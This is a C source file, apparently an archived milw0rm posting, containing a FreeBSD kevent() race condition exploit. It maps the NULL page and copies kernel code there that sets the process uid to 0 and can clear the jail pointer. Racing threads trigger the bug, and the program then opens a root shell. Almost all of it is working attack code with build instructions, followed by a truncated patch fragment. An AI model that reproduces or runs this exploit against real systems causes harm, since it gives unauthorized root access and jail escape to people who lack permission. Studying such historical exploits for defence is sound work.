====== kevent.c ====== /* 22.08.2009, babcia padlina * FreeBSD kevent() race condition exploit * * works only on multiprocessor systems * gcc -o padlina padlina.c -lpthread * -DPRISON_BREAK if you want to exit from jail * * with thanks to Pawel Pisarczyk for in-depth ia-32 architecture discussion */ #define _KERNEL #include #include #include #include #include #include #include #include #include #include #include #include #include int fd, kq; struct kevent kev, ke; struct timespec timeout; volatile int gotroot = 0; static void kernel_code(void) { struct thread *thread; gotroot = 1; asm( "movl %%fs:0, %0" : "=r"(thread) ); thread->td_proc->p_ucred->cr_uid = 0; #ifdef PRISON_BREAK thread->td_proc->p_ucred->cr_prison = NULL; #endif return; } static void code_end(void) { return; } void do_thread(void) { usleep(100); while (!gotroot) { memset(&kev, 0, sizeof(kev)); EV_SET(&kev, fd, EVFILT_VNODE, EV_ADD, 0, 0, NULL); if (kevent(kq, &kev, 1, &ke, 1, &timeout) < 0) perror("kevent"); } return; } void do_thread2(void) { while(!gotroot) { if ((fd = open("/tmp/.padlina", O_RDWR | O_CREAT, 0600)) < 0) perror("open"); close(fd); } return; } int main(void) { int i; pthread_t pth, pth2; if (mmap(0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANON | MAP_FIXED, -1, 0) < 0) { perror("mmap"); return -1; } memcpy(0, &kernel_code, &code_end - &kernel_code); if ((kq = kqueue()) < 0) { perror("kqueue"); return -1; } pthread_create(&pth, NULL, (void *)do_thread, NULL); pthread_create(&pth2, NULL, (void *)do_thread2, NULL); timeout.tv_sec = 0; timeout.tv_nsec = 1; printf("waiting for root...\n"); i = 0; while (!gotroot && i++ < 10000) usleep(100); setuid(0); if (getuid()) { printf("failed - system patched or not MP\n"); return -1; } printf("hwdp!\n"); execl("/bin/sh", "sh", NULL); return 0; } /* Patch for this vulnerability, as in CVS: --- src/sys/kern/kern_descrip.c 2006/09/04 10:30:09 1.279.2.8 +++ src/sys/kern/kern_descrip.c 2006/09/29 18:30:48 1.279.2.9 @@ -35,7 +35,7 @@ */ // milw0rm.com [2009-08-24]